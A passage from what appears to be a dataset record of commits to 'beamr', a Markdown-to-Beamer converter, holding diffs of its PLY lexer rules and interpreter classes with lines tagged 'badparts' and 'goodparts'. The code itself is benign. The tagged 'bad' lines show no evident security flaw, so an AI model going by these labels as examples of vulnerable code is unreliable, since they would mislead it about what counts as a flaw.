grid, ' super(ImageEnv, self).__init__(shapes.get(shape, singleImage)(dims, files)) class PlusEnv(Text): def __init__(self, txt): warn('Plus integration not yet implemented') super(PlusEnv, self).__init__( 'Plus: ' +txt) class TableEnv(Text): def __init__(self, txt): warn('Tables not yet implemented') super(TableEnv, self).__init__( 'Table: ' +txt) class ScissorEnv(Text): includeCmd=r'{\\setbeamercolor{background canvas}{bg=}\\includepdf%s{%%s}}' pagesSpec='[pages={%s}]' def __init__(self, txt): super(ScissorEnv, self).__init__(self._init_helper(txt.strip().split()) +'\\n') def _init_helper(self, arr): if len(arr)==0: warn('Skipping empty scissor command') return '' if not(os.path.isfile(arr[0]) or os.path.isfile(arr[0] +'.pdf')): warn('File included in scissor command not found, proceeding unsafely...') if len(arr) > 1: if re.fullmatch(r'\\d+(-\\d+)?(,\\d+(-\\d+)?)*', arr[1]): cmd=self.includeCmd % self.pagesSpec return cmd %(arr[1], arr[0]) else: warn('Ignoring malformed page range in scissor command') if len(arr) > 2: warn('Ignoring extraneous arguments in scissor command') cmd=self.includeCmd % '' return cmd % arr[0] class VerbatimEnv(Text): count=0 todo=[] preambleDefs='' def __init__(self, head, body): self.__class__.count +=1 self.__class__.todo.append(self) from beamr.interpreters import Config lettr='' num=self.__class__.count while num: lettr +=chr(64 +num%27) num //=27 self.insertCmd=Config.get('vbtmCmds', 'insertion')(lettr) self.head=head self.body=body super(VerbatimEnv, self).__init__(self.insertCmd) @classmethod def resolve(cls): if cls.count: from beamr.interpreters import Config package=Config.getRaw('verbatim') packageList=Config.getRaw('vbtmCmds', 'packageNames') if package not in packageList: package=packageList[0] Config.effectiveConfig['verbatim']=package Config.effectiveConfig['packages'].append(package) cls.preambleDefs=Config.getRaw('vbtmCmds', 'once', package) +'\\n' for f in cls.todo: if f.head: cls.preambleDefs +=Config.getRaw('vbtmCmds', 'foreach', package) %( f.insertCmd, f.head, f.body) else: cls.preambleDefs +=Config.getRaw('vbtmCmds', 'foreachNoLang', package) %( f.insertCmd, f.body) ", "sourceWithComments": "'''\nCreated on 6 Feb 2018\n\n@author: Teodor Gherasim Nistor\n\n'''\nimport os.path\nimport re\nfrom beamr.lexers import imageLexer\nfrom beamr.parsers import imageParser\nfrom beamr.debug import debug, warn\n\n\nclass Text(object):\n \n def __init__(self, txt):\n self.txt = txt\n\n def __str__(self):\n return self.txt\n \n def __repr__(self):\n return self.__str__()\n\n\nclass Comment(Text):\n def __init__(self, txt):\n debug('Comment ', txt)\n super(Comment, self).__init__('% ' + txt)\n\n\nclass Escape(Text):\n def __init__(self, txt):\n super(Escape, self).__init__(txt[1:])\n\n\nclass Citation(Text):\n def __str__(self):\n from beamr.interpreters.config import Config\n if Config.effectiveConfig['bib']:\n return r'\\cite{' + self.txt + '}'\n else:\n warn('Citations used but no bibliography file given.')\n return ''\n\n\nclass Url(Text):\n def __init__(self, txt):\n super(Url, self).__init__(r'\\url{' + txt + '}')\n\n\nclass Heading(Text):\n usedMarkers = []\n formats = [\n# '\\\\chapter{ %s }\\n', # Invalid?\n '\\\\section{ %s }\\n',\n '\\\\subsection{ %s }\\n',\n '\\\\subsubsection{ %s }\\n'\n ]\n \n def __init__(self, txt):\n txt = txt.strip().splitlines()\n marker = txt[1][0]\n \n try:\n i = Heading.usedMarkers.index(marker)\n except:\n i = len(Heading.usedMarkers)\n Heading.usedMarkers.append(marker)\n\n if i > 2: # Anti-stupid\n warn(\"Something's wrong with heading marker\", marker, 'having index', i)\n i = 2\n \n super(Heading, self).__init__(Heading.formats[i] % txt[0])\n debug('Heading level', i, marker, txt[0])\n\n\nclass ImageEnv(Text):\n # TODo cf \\includepdf[pages=61,width=\\paperwidth,height=\\paperheight]{yourfile.pdf}\n\n markers = [r'\\includegraphics[width=%.3f%s,height=%.3f%s]{%s}',\n r'\\includegraphics[width=%.3f%s]{%s}',\n r'\\includegraphics[height=%.3f%s]{%s}',\n r'\\includegraphics[%s]{%s}']\n\n def __init__(self, txt):\n try:\n files, shape, align, dims = imageParser.parse(txt[2:-1].strip(), imageLexer)\n debug(files, shape, align, dims)\n\n # Anti-stupid: Ignore an empty environment\n except:\n super(ImageEnv, self).__init__('')\n return\n\n def singleImage(dims, files=None, file=None, implicitDims=r'width=\\textwidth'):\n if not file:\n file = files[0][0]\n if dims[0]:\n if dims[1]:\n return self.markers[0] % (dims[0][0], dims[0][1], dims[1][0], dims[1][1], file)\n else:\n return self.markers[1] % (dims[0][0], dims[0][1], file)\n else:\n if dims[1]:\n return self.markers[2] % (dims[1][0], dims[1][1], file)\n else:\n return self.markers[3] % (implicitDims, file)\n\n\n def vStrip(dims, files):\n # Flatten into a vertical list\n return smartGrid(dims, [[file] for line in files for file in line], False)\n\n def hStrip(dims, files):\n # Flatten into a horizontal list\n return smartGrid(dims, [[file for line in files for file in line]], True)\n\n def grid(dims, files, implicitFillWidth=True):\n x=0\n y=len(files)\n for line in files:\n if len(line) > x:\n x = len(line)\n dims = ((dims[0][0] / x, dims[0][1]) if dims[0] else None,\n (dims[1][0] / y, dims[1][1]) if dims[1] else None)\n if not (dims[0] or dims[1]):\n if implicitFillWidth:\n dims = ((1.0/x, r'\\textwidth'), None)\n else:\n dims = (None, (1.0/y, r'\\textheight'))\n\n s = ''\n for line in files:\n for file in line:\n s += singleImage(dims, file=file)\n s += r'\\\\'\n return s\n\n def smartGrid(dims, files, implicitFillWidth=True):\n warn('Image Frame: PIL support not yet implemented, falling back to basic grid. Some images may be distorted.')\n return grid(dims, files, implicitFillWidth)\n\n shapes = {'|': vStrip,\n '-': hStrip,\n '+': grid,\n '#': smartGrid}\n\n super(ImageEnv, self).__init__(shapes.get(shape, singleImage)(dims, files))\n\n\nclass PlusEnv(Text):\n\n def __init__(self, txt):\n # TODO\n warn('Plus integration not yet implemented')\n super(PlusEnv, self).__init__( 'Plus: ' + txt)\n\n\nclass TableEnv(Text):\n \n def __init__(self, txt):\n # TODO\n warn('Tables not yet implemented')\n super(TableEnv, self).__init__( 'Table: ' + txt )\n\n\nclass ScissorEnv(Text):\n\n includeCmd = r'{\\setbeamercolor{background canvas}{bg=}\\includepdf%s{%%s}}'\n pagesSpec = '[pages={%s}]'\n\n def __init__(self, txt):\n super(ScissorEnv, self).__init__(self._init_helper(txt.strip().split()) + '\\n')\n\n def _init_helper(self, arr):\n if len(arr) == 0:\n warn('Skipping empty scissor command')\n return ''\n\n if not (os.path.isfile(arr[0]) or os.path.isfile(arr[0] + '.pdf')):\n # TODO Link to safety net\n # if .safe:\n # warn('File included in scissor command not found, omitting')\n # return ''\n # else:\n warn('File included in scissor command not found, proceeding unsafely...')\n\n if len(arr) > 1:\n if re.fullmatch(r'\\d+(-\\d+)?(,\\d+(-\\d+)?)*', arr[1]):\n cmd = self.includeCmd % self.pagesSpec\n return cmd % (arr[1], arr[0])\n else:\n warn('Ignoring malformed page range in scissor command')\n if len(arr) > 2:\n warn('Ignoring extraneous arguments in scissor command')\n\n cmd = self.includeCmd % ''\n return cmd % arr[0]\n\n\nclass VerbatimEnv(Text):\n \n count=0\n todo = []\n preambleDefs = ''\n\n def __init__(self, head, body):\n self.__class__.count += 1\n self.__class__.todo.append(self)\n\n # Document.classResulutionSet.add(__class__)\n # TODO\n\n # We can use Config here as this part of the dict is not supposed to ever change\n from beamr.interpreters import Config\n lettr = ''\n num = self.__class__.count\n while num:\n lettr += chr(64 + num%27)\n num //= 27\n self.insertCmd = Config.get('vbtmCmds', 'insertion')(lettr)\n self.head = head\n self.body = body\n super(VerbatimEnv, self).__init__(self.insertCmd)\n\n @classmethod\n def resolve(cls):\n if cls.count:\n\n # Ensure proper package name is given\n from beamr.interpreters import Config\n package = Config.getRaw('verbatim')\n packageList = Config.getRaw('vbtmCmds', 'packageNames')\n if package not in packageList:\n package = packageList[0]\n Config.effectiveConfig['verbatim'] = package\n Config.effectiveConfig['packages'].append(package)\n\n cls.preambleDefs = Config.getRaw('vbtmCmds', 'once', package) + '\\n'\n\n for f in cls.todo:\n if f.head:\n cls.preambleDefs += Config.getRaw('vbtmCmds', 'foreach', package) % (\n f.insertCmd,\n f.head,\n f.body)\n else:\n cls.preambleDefs += Config.getRaw('vbtmCmds', 'foreachNoLang', package) % (\n f.insertCmd,\n f.body)\n"}, "/beamr/lexers/document.py": {"changes": [{"diff": "\n import beamr.interpreters\n import beamr.debug as dbg\n \n-tokens = ('COMMENT', 'HEADING', 'SLIDE', 'SCISSOR', 'YAML', 'TEXT')\n+tokens = ('COMMENT', 'RAW', 'HEADING', 'SLIDE', 'SCISSOR', 'YAML', 'TEXT')\n \n def t_COMMENT(t):\n- r'#[\\s\\S]*?(\\n|$)'\n+ r'#.*(?=(\\n|$))'\n t.value = beamr.interpreters.Comment(t.value)\n return t\n \n+def t_RAW(t):\n+ r'\\n(?P *)&{(?P[\\s\\S]+?)\\n(?P=RAW_INDENT)}'\n+ _trackLineNo(t.lexer, t.value)\n+ gd = t.lexer.lexmatch.groupdict()\n+ t.value = beamr.interpreters.Text(gd['RAW_TXT'] + '\\n\\n')\n+ return t\n+\n def t_HEADING(t):\n- r'(^|\\n).+\\n[_~=-]{4,}\\n'\n+ r'\\n.+\\n[_~=-]{4,}(?=\\n)'\n+ t.lexer.lineno += 2\n t.value = beamr.interpreters.Heading(t.value)\n return t\n \n def t_SLIDE(t):\n- r'(^\\[|\\n\\[)[\\s\\S]+?\\n\\]'\n- t.value = beamr.interpreters.Slide(t.value)\n+ r'\\n\\[(?P\\S*) ?(?P.*)(?P[\\s\\S]*?)\\n\\]'\n+ _trackLineNo(t.lexer, t.value, False)\n+ gd = t.lexer.lexmatch.groupdict()\n+ t.value = beamr.interpreters.Slide(\n+ gd['SLD_TITLE'], gd['SLD_OPTS'], gd['SLD_CONTENT'])\n return t\n \n def t_SCISSOR(t):\n- r'(8<|>8){[\\s\\S]+?}'\n+ r'(8<|>8){.+?}'\n t.value = beamr.interpreters.ScissorEnv(t.value[3:-1])\n return t\n \n def t_YAML(t):\n- r'(^|\\n)---\\n[\\s\\S]*?(\\n\\.\\.\\.|$)'\n+ r'\\n---\\n[\\s\\S]*?(\\n\\.\\.\\.|$)'\n+ _trackLineNo(t.lexer, t.value)\n t.value = beamr.interpreters.Config(t.value)\n return t\n \n-# Rather, potential YAML. Parsing will be attempted, but may fail\n-t_TEXT = r'[\\s\\S]+?(?=(\\n|\\[|#|$|>|8))'\n+def t_TEXT(t):\n+ r'[\\s\\S]+?(?=(\\n|\\[|#|$|>|8|&))'\n+ _trackLineNo(t.lexer, t.value)\n+ return t\n \n lexer = lex.lex(debug=dbg.verbose, reflags=0)\n+\n+def _trackLineNo(lexer, text, autoadvance=True):\n+ if autoadvance:\n+ lexer.lineno += text.count('\\n')\n+ else:\n+ lexer.nextlineno = lexer.lineno + text.count('\\n')\n+# print 'Change lineno from', lexer.prevlineno, 'to', lexer.l", "add": 30, "remove": 9, "filename": "/beamr/lexers/document.py", "badparts": ["tokens = ('COMMENT', 'HEADING', 'SLIDE', 'SCISSOR', 'YAML', 'TEXT')", " r'(^|\\n).+\\n[_~=-]{4,}\\n'", " r'(^\\[|\\n\\[)[\\s\\S]+?\\n\\]'", " t.value = beamr.interpreters.Slide(t.value)", " r'(8<|>8){[\\s\\S]+?}'", " r'(^|\\n)---\\n[\\s\\S]*?(\\n\\.\\.\\.|$)'", "t_TEXT = r'[\\s\\S]+?(?=(\\n|\\[|#|$|>|8))'"], "goodparts": ["tokens = ('COMMENT', 'RAW', 'HEADING', 'SLIDE', 'SCISSOR', 'YAML', 'TEXT')", "def t_RAW(t):", " r'\\n(?P *)&{(?P[\\s\\S]+?)\\n(?P=RAW_INDENT)}'", " _trackLineNo(t.lexer, t.value)", " gd = t.lexer.lexmatch.groupdict()", " t.value = beamr.interpreters.Text(gd['RAW_TXT'] + '\\n\\n')", " return t", " r'\\n.+\\n[_~=-]{4,}(?=\\n)'", " t.lexer.lineno += 2", " r'\\n\\[(?P\\S*) ?(?P.*)(?P[\\s\\S]*?)\\n\\]'", " _trackLineNo(t.lexer, t.value, False)", " gd = t.lexer.lexmatch.groupdict()", " t.value = beamr.interpreters.Slide(", " gd['SLD_TITLE'], gd['SLD_OPTS'], gd['SLD_CONTENT'])", " r'(8<|>8){.+?}'", " r'\\n---\\n[\\s\\S]*?(\\n\\.\\.\\.|$)'", " _trackLineNo(t.lexer, t.value)", "def t_TEXT(t):", " r'[\\s\\S]+?(?=(\\n|\\[|#|$|>|8|&))'", " _trackLineNo(t.lexer, t.value)", " return t", "def _trackLineNo(lexer, text, autoadvance=True):", " if autoadvance:", " lexer.lineno += text.count('\\n')", " else:", " lexer.nextlineno = lexer.lineno + text.count('\\n')"]}], "source": "\n''' Created on 1 Feb 2018 @author: Teodor Gherasim Nistor ''' from ply import lex from beamr.lexers.generic import t_error import beamr.interpreters import beamr.debug as dbg tokens=('COMMENT', 'HEADING', 'SLIDE', 'SCISSOR', 'YAML', 'TEXT') def t_COMMENT(t): r' t.value=beamr.interpreters.Comment(t.value) return t def t_HEADING(t): r'(^|\\n).+\\n[_~=-]{4,}\\n' t.value=beamr.interpreters.Heading(t.value) return t def t_SLIDE(t): r'(^\\[|\\n\\[)[\\s\\S]+?\\n\\]' t.value=beamr.interpreters.Slide(t.value) return t def t_SCISSOR(t): r'(8<|>8){[\\s\\S]+?}' t.value=beamr.interpreters.ScissorEnv(t.value[3:-1]) return t def t_YAML(t): r'(^|\\n)---\\n[\\s\\S]*?(\\n\\.\\.\\.|$)' t.value=beamr.interpreters.Config(t.value) return t t_TEXT=r'[\\s\\S]+?(?=(\\n|\\[| lexer=lex.lex(debug=dbg.verbose, reflags=0) ", "sourceWithComments": "'''\nCreated on 1 Feb 2018\n\n@author: Teodor Gherasim Nistor\n'''\nfrom ply import lex\nfrom beamr.lexers.generic import t_error # Used internally by lex() @UnusedImport\nimport beamr.interpreters\nimport beamr.debug as dbg\n\ntokens = ('COMMENT', 'HEADING', 'SLIDE', 'SCISSOR', 'YAML', 'TEXT')\n\ndef t_COMMENT(t):\n r'#[\\s\\S]*?(\\n|$)'\n t.value = beamr.interpreters.Comment(t.value)\n return t\n\ndef t_HEADING(t):\n r'(^|\\n).+\\n[_~=-]{4,}\\n'\n t.value = beamr.interpreters.Heading(t.value)\n return t\n\ndef t_SLIDE(t):\n r'(^\\[|\\n\\[)[\\s\\S]+?\\n\\]'\n t.value = beamr.interpreters.Slide(t.value)\n return t\n\ndef t_SCISSOR(t):\n r'(8<|>8){[\\s\\S]+?}'\n t.value = beamr.interpreters.ScissorEnv(t.value[3:-1])\n return t\n\ndef t_YAML(t):\n r'(^|\\n)---\\n[\\s\\S]*?(\\n\\.\\.\\.|$)'\n t.value = beamr.interpreters.Config(t.value)\n return t\n\n# Rather, potential YAML. Parsing will be attempted, but may fail\nt_TEXT = r'[\\s\\S]+?(?=(\\n|\\[|#|$|>|8))'\n\nlexer = lex.lex(debug=dbg.verbose, reflags=0)\n"}, "/beamr/lexers/generic.py": {"changes": [{"diff": "\n from beamr.debug import warn\n \n def t_error(t):\n- warn ('Skip lexing error..', t)\n+ warn ('Skip lexing error..', t, 'at line', t.lexer.lineno)\n t.lexer.s", "add": 1, "remove": 1, "filename": "/beamr/lexers/generic.py", "badparts": [" warn ('Skip lexing error..', t)"], "goodparts": [" warn ('Skip lexing error..', t, 'at line', t.lexer.lineno)"]}], "source": "\n''' Created on 1 Feb 2018 @author: Teodor Gherasim Nistor ''' from beamr.debug import warn def t_error(t): warn('Skip lexing error..', t) t.lexer.skip(1) ", "sourceWithComments": "'''\nCreated on 1 Feb 2018\n\n@author: Teodor Gherasim Nistor\n'''\nfrom beamr.debug import warn\n\ndef t_error(t):\n warn ('Skip lexing error..', t)\n t.lexer.skip(1)\n"}, "/beamr/lexers/slide.py": {"changes": [{"diff": "\n \n @author: Teodor Gherasim Nistor\n '''\n+from __future__ import unicode_literals\n from ply import lex\n from beamr.lexers.generic import t_error # Used internally by lex() @UnusedImport\n-from beamr.lexers.document import t_COMMENT # Used internally by lex() @UnusedImport\n+from beamr.lexers.document import t_COMMENT, t_RAW, _trackLineNo # Used internally by lex() @UnusedImport\n import beamr\n \n tokens = (\n 'COMMENT',\n+ 'AUTORAW',\n 'ESCAPE',\n- 'STRETCH1',\n- 'STRETCH2',\n+ 'STRETCH',\n 'EMPH',\n 'CITATION',\n 'FOOTNOTE',\n", "add": 4, "remove": 3, "filename": "/beamr/lexers/slide.py", "badparts": ["from beamr.lexers.document import t_COMMENT # Used internally by lex() @UnusedImport", " 'STRETCH1',", " 'STRETCH2',"], "goodparts": ["from __future__ import unicode_literals", "from beamr.lexers.document import t_COMMENT, t_RAW, _trackLineNo # Used internally by lex() @UnusedImport", " 'AUTORAW',", " 'STRETCH',"]}, {"diff": "\n \n \n-def t_ESCAPE(t):\n- r'\\\\[^0-9A-Za-z\\s]' # e.g. \\# # Almost copy-paste from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js\n- t.value = beamr.interpreters.Escape(t.value)\n+def t_AUTORAW(t):\n+ r'\\\\[a-zA-Z]+(\\{.*?\\}|<.*?>|\\[.*?\\])*(?=[\\s\\\\]|$)'\n+ t.value = beamr.interpreters.Text(t.value)\n return t\n \n-def t_STRETCH1(t):\n- r'\\[[<>_^:+]\\]' # e.g. [+] # TODO Tailor to those actually used\n- t.value = beamr.interpreters.Stretch(t.value[1])\n+def t_ESCAPE(t):\n+ r'\\\\[^0-9A-Za-z\\s]' # e.g. \\# Inspired from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js\n+ t.value = beamr.interpreters.Escape(t.value)\n return t\n \n-def t_STRETCH2(t):\n- r'\\[[<>_v^].+?[<>_v^]\\]' # e.g. [< Stretched text >]\n- t.value = beamr.interpreters.Stretch(t.value[1]+t.value[-2], t.value[2:-2])\n+def t_STRETCH(t):\n+ r'\\[(?P[<>_^:+*~.]{1,3})((?P.*?[^\\\\])(?P(?P=STRETCH_FLAG_S)|[<>]))?\\]'\n+ gd = t.lexer.lexmatch.groupdict()\n+ t.value = beamr.interpreters.Stretch(\n+ gd['STRETCH_FLAG_S'], gd['STRETCH_FLAG_F'], gd['STRETCH_TXT'])\n return t\n \n def t_EMPH(t):\n- r'(?P[*_~]{1,2})(?P[\\S](.*?[\\S])?)(?P=EMPH_FLAG)' # e.g. *Bold text*, ~Strikethrough text~\n- global lexer\n- gd = lexer.lexmatch.groupdict()\n+ r'(?P[*_~]{1,2})(?P[\\S](.*?[^\\s\\\\])?)(?P=EMPH_FLAG)' # e.g. *Bold text*, ~Strikethrough text~\n+ gd = t.lexer.lexmatch.groupdict()\n t.value = beamr.interpreters.Emph(\n gd['EMPH_FLAG'], gd['EMPH_TXT'])\n return t\n \n def t_CITATION(t):\n- r'\\[--.+?\\]' # e.g. [fn:See attached docs]\n- t.value = beamr.interpreters.Citation(t.value[3:-1])\n+ r'\\[--(?P.+?)(:(?P.+?))?\\]' # e.g. [--einstein:p.241]\n+ gd = t.lexer.lexmatch.groupdict()\n+ t.value = beamr.interpreters.Citation(\n+ gd['CITE_TXT'], gd['CITE_OPTS'])\n return t\n \n def t_FOOTNOTE(t):\n- r'\\[-.+?-\\]' # e.g. [fn:See attached docs]\n+ r'\\[-.+?-\\]' # e.g. [-24:See attached docs-]\n t.value = beamr.interpreters.Footnote(t.value[2:-2])\n return t\n \n", "add": 18, "remove": 15, "filename": "/beamr/lexers/slide.py", "badparts": ["def t_ESCAPE(t):", " r'\\\\[^0-9A-Za-z\\s]' # e.g. \\# # Almost copy-paste from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js", " t.value = beamr.interpreters.Escape(t.value)", "def t_STRETCH1(t):", " r'\\[[<>_^:+]\\]' # e.g. [+] # TODO Tailor to those actually used", " t.value = beamr.interpreters.Stretch(t.value[1])", "def t_STRETCH2(t):", " r'\\[[<>_v^].+?[<>_v^]\\]' # e.g. [< Stretched text >]", " t.value = beamr.interpreters.Stretch(t.value[1]+t.value[-2], t.value[2:-2])", " r'(?P[*_~]{1,2})(?P[\\S](.*?[\\S])?)(?P=EMPH_FLAG)' # e.g. *Bold text*, ~Strikethrough text~", " global lexer", " gd = lexer.lexmatch.groupdict()", " r'\\[--.+?\\]' # e.g. [fn:See attached docs]", " t.value = beamr.interpreters.Citation(t.value[3:-1])", " r'\\[-.+?-\\]' # e.g. [fn:See attached docs]"], "goodparts": ["def t_AUTORAW(t):", " r'\\\\[a-zA-Z]+(\\{.*?\\}|<.*?>|\\[.*?\\])*(?=[\\s\\\\]|$)'", " t.value = beamr.interpreters.Text(t.value)", "def t_ESCAPE(t):", " r'\\\\[^0-9A-Za-z\\s]' # e.g. \\# Inspired from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js", " t.value = beamr.interpreters.Escape(t.value)", "def t_STRETCH(t):", " r'\\[(?P[<>_^:+*~.]{1,3})((?P.*?[^\\\\])(?P(?P=STRETCH_FLAG_S)|[<>]))?\\]'", " gd = t.lexer.lexmatch.groupdict()", " t.value = beamr.interpreters.Stretch(", " gd['STRETCH_FLAG_S'], gd['STRETCH_FLAG_F'], gd['STRETCH_TXT'])", " r'(?P[*_~]{1,2})(?P[\\S](.*?[^\\s\\\\])?)(?P=EMPH_FLAG)' # e.g. *Bold text*, ~Strikethrough text~", " gd = t.lexer.lexmatch.groupdict()", " r'\\[--(?P.+?)(:(?P.+?))?\\]' # e.g. [--einstein:p.241]", " gd = t.lexer.lexmatch.groupdict()", " t.value = beamr.interpreters.Citation(", " gd['CITE_TXT'], gd['CITE_OPTS'])", " r'\\[-.+?-\\]' # e.g. [-24:See attached docs-]"]}, {"diff": "\n # *. Two\n # -,+ Three\n def t_LISTITEM(t):\n- r'(^|\\n)(?P *)(\\*|-)(|\\.|,|=)(|\\+) .*(\\n((?P=LI_INDENT) .*| *))*(?=\\n|$)'\n+ r'\\n(?P *)(\\*|-)(|\\.|,|=)(|\\+) .*(\\n((?P=LI_INDENT) .*| *))*(?=\\n|$)'\n+ _trackLineNo(t.lexer, t.value, False)\n t.value = beamr.interpreters.ListItem(t.value)\n return t\n \n", "add": 2, "remove": 1, "filename": "/beamr/lexers/slide.py", "badparts": [" r'(^|\\n)(?P *)(\\*|-)(|\\.|,|=)(|\\+) .*(\\n((?P=LI_INDENT) .*| *))*(?=\\n|$)'"], "goodparts": [" r'\\n(?P *)(\\*|-)(|\\.|,|=)(|\\+) .*(\\n((?P=LI_INDENT) .*| *))*(?=\\n|$)'", " _trackLineNo(t.lexer, t.value, False)"]}, {"diff": "\n # |20%\n # Column content\n def t_COLUMN(t):\n- r'(^|\\n)(?P *)\\|(\\d*\\.?\\d+(%|)|) *(\\n((?P=COL_INDENT) .*| *))+(?=\\n|$)'\n+ r'\\n(?P *)\\|(\\d*\\.?\\d+(%|)|) *(\\n((?P=COL_INDENT) .*| *))+(?=\\n|$)'\n+ _trackLineNo(t.lexer, t.value, False)\n t.value = beamr.interpreters.Column(t.value)\n return t\n \n def t_IMGENV(t):\n r'~{[\\s\\S]*?}'\n+ _trackLineNo(t.lexer, t.value, False)\n t.value = beamr.interpreters.ImageEnv(t.value)\n return t\n \n def t_PLUSENV(t):\n- r'(^|\\n)(?P *)\\[[\\s\\S]+\\n(?P=PLUS_INDENT)\\]'\n+ r'\\n(?P *)\\[[\\s\\S]+?\\n(?P=PLUS_INDENT)\\]'\n+ _trackLineNo(t.lexer, t.value, False)\n t.value = beamr.interpreters.PlusEnv(t.value)\n return t\n \n def t_TABENV(t):\n- r'={[\\s\\S]+?}'\n- t.value = beamr.interpreters.TableEnv(t.value)\n+ r'={[\\s\\S]+?(? *)\\|.*(\\n(?P=ORGTAB_INDENT)\\|.*)+'\n+ _trackLineNo(t.lexer, t.value, False)\n+ t.value = beamr.interpreters.OrgTable(t.value)\n return t\n \n def t_VERBATIM(t):\n- r'(^|\\n)(?P *){{(?P.*)\\n(?P[\\s\\S]+)\\n(?P=VBTM_INDENT)}}'\n- global lexer\n- gd = lexer.lexmatch.groupdict()\n+ r'\\n(?P *){{(?P.*)\\n(?P[\\s\\S]+?)\\n(?P=VBTM_INDENT)}}'\n+ _trackLineNo(t.lexer, t.value)\n+ gd = t.lexer.lexmatch.groupdict()\n t.value = beamr.interpreters.VerbatimEnv(\n gd['VBTM_HEAD'].strip(), gd['VBTM_BODY'])\n return t\n \n def t_MACRO(t):\n r'%{[\\s\\S]+?}'\n+ _trackLineNo(t.lexer, t.value, False)\n t.value = beamr.interpreters.Macro(t.value)\n return t\n \n def t_BOX(t):\n- r'(^|\\n)(?P *)\\((\\*|!)[\\s\\S]+?\\n(?P=BOX_INDENT)\\)'\n- t.value = beamr.interpreters.Box(t.value)\n+ r'\\n(?P *)\\((?P\\*|!|\\?)(?P.+)(?P[\\s\\S]+?)\\n(?P=BOX_INDENT)\\)'\n+ _trackLineNo(t.lexer, t.value, False)\n+ gd = t.lexer.lexmatch.groupdict()\n+ t.value = beamr.interpreters.Box(\n+ gd['BOX_KIND'].strip(), gd['BOX_TITLE'], gd['BOX_CONTENT'])\n return t\n \n def t_ANTIESCAPE(t):\n- r'[%&]'\n- t.value = beamr.interpreters.Text('\\\\' + t.value)\n+ r'[^0-9A-Za-z\\u00c0-\\uffff\\s]'\n+ t.value = beamr.interpreters.Antiescape(t.value)\n return t\n \n def t_TEXT(t):\n- r'[\\s\\S]+?(?=[^0-9A-Za-z\\s]|\\n|$)' # Inspired loosely from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js\n+ r'[\\s\\S]+?(?=[^0-9A-Za-z\\u00c0-\\uffff\\s]|\\n|$)' # Inspired loosely from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js\n+ _trackLineNo(t.lexer, t.value)\n t.value = beamr.interpreters.Text(t.value)\n ret", "add": 27, "remove": 12, "filename": "/beamr/lexers/slide.py", "badparts": [" r'(^|\\n)(?P *)\\|(\\d*\\.?\\d+(%|)|) *(\\n((?P=COL_INDENT) .*| *))+(?=\\n|$)'", " r'(^|\\n)(?P *)\\[[\\s\\S]+\\n(?P=PLUS_INDENT)\\]'", " r'={[\\s\\S]+?}'", " t.value = beamr.interpreters.TableEnv(t.value)", " r'(^|\\n)(?P *){{(?P.*)\\n(?P[\\s\\S]+)\\n(?P=VBTM_INDENT)}}'", " global lexer", " gd = lexer.lexmatch.groupdict()", " r'(^|\\n)(?P *)\\((\\*|!)[\\s\\S]+?\\n(?P=BOX_INDENT)\\)'", " t.value = beamr.interpreters.Box(t.value)", " r'[%&]'", " t.value = beamr.interpreters.Text('\\\\' + t.value)", " r'[\\s\\S]+?(?=[^0-9A-Za-z\\s]|\\n|$)' # Inspired loosely from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js"], "goodparts": [" r'\\n(?P *)\\|(\\d*\\.?\\d+(%|)|) *(\\n((?P=COL_INDENT) .*| *))+(?=\\n|$)'", " _trackLineNo(t.lexer, t.value, False)", " _trackLineNo(t.lexer, t.value, False)", " r'\\n(?P *)\\[[\\s\\S]+?\\n(?P=PLUS_INDENT)\\]'", " _trackLineNo(t.lexer, t.value, False)", " r'={[\\s\\S]+?(? *)\\|.*(\\n(?P=ORGTAB_INDENT)\\|.*)+'", " _trackLineNo(t.lexer, t.value, False)", " t.value = beamr.interpreters.OrgTable(t.value)", " r'\\n(?P *){{(?P.*)\\n(?P[\\s\\S]+?)\\n(?P=VBTM_INDENT)}}'", " _trackLineNo(t.lexer, t.value)", " gd = t.lexer.lexmatch.groupdict()", " _trackLineNo(t.lexer, t.value, False)", " r'\\n(?P *)\\((?P\\*|!|\\?)(?P.+)(?P[\\s\\S]+?)\\n(?P=BOX_INDENT)\\)'", " _trackLineNo(t.lexer, t.value, False)", " gd = t.lexer.lexmatch.groupdict()", " t.value = beamr.interpreters.Box(", " gd['BOX_KIND'].strip(), gd['BOX_TITLE'], gd['BOX_CONTENT'])", " r'[^0-9A-Za-z\\u00c0-\\uffff\\s]'", " t.value = beamr.interpreters.Antiescape(t.value)", " r'[\\s\\S]+?(?=[^0-9A-Za-z\\u00c0-\\uffff\\s]|\\n|$)' # Inspired loosely from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js", " _trackLineNo(t.lexer, t.value)"]}], "source": "\n''' Created on 1 Feb 2018 @author: Teodor Gherasim Nistor ''' from ply import lex from beamr.lexers.generic import t_error from beamr.lexers.document import t_COMMENT import beamr tokens=( 'COMMENT', 'ESCAPE', 'STRETCH1', 'STRETCH2', 'EMPH', 'CITATION', 'FOOTNOTE', 'URL', 'LISTITEM', 'COLUMN', 'IMGENV', 'PLUSENV', 'TABENV', 'VERBATIM', 'MACRO', 'BOX', 'ANTIESCAPE', 'TEXT', ) def t_ESCAPE(t): r'\\\\[^0-9A-Za-z\\s]' t.value=beamr.interpreters.Escape(t.value) return t def t_STRETCH1(t): r'\\[[<>_^:+]\\]' t.value=beamr.interpreters.Stretch(t.value[1]) return t def t_STRETCH2(t): r'\\[[<>_v^].+?[<>_v^]\\]' t.value=beamr.interpreters.Stretch(t.value[1]+t.value[-2], t.value[2:-2]) return t def t_EMPH(t): r'(?P[*_~]{1,2})(?P[\\S](.*?[\\S])?)(?P=EMPH_FLAG)' global lexer gd=lexer.lexmatch.groupdict() t.value=beamr.interpreters.Emph( gd['EMPH_FLAG'], gd['EMPH_TXT']) return t def t_CITATION(t): r'\\[--.+?\\]' t.value=beamr.interpreters.Citation(t.value[3:-1]) return t def t_FOOTNOTE(t): r'\\[-.+?-\\]' t.value=beamr.interpreters.Footnote(t.value[2:-2]) return t def t_URL(t): r'\\[.+?\\]' t.value=beamr.interpreters.Url(t.value[1:-1]) return t def t_LISTITEM(t): r'(^|\\n)(?P *)(\\*|-)(|\\.|,|=)(|\\+).*(\\n((?P=LI_INDENT).*| 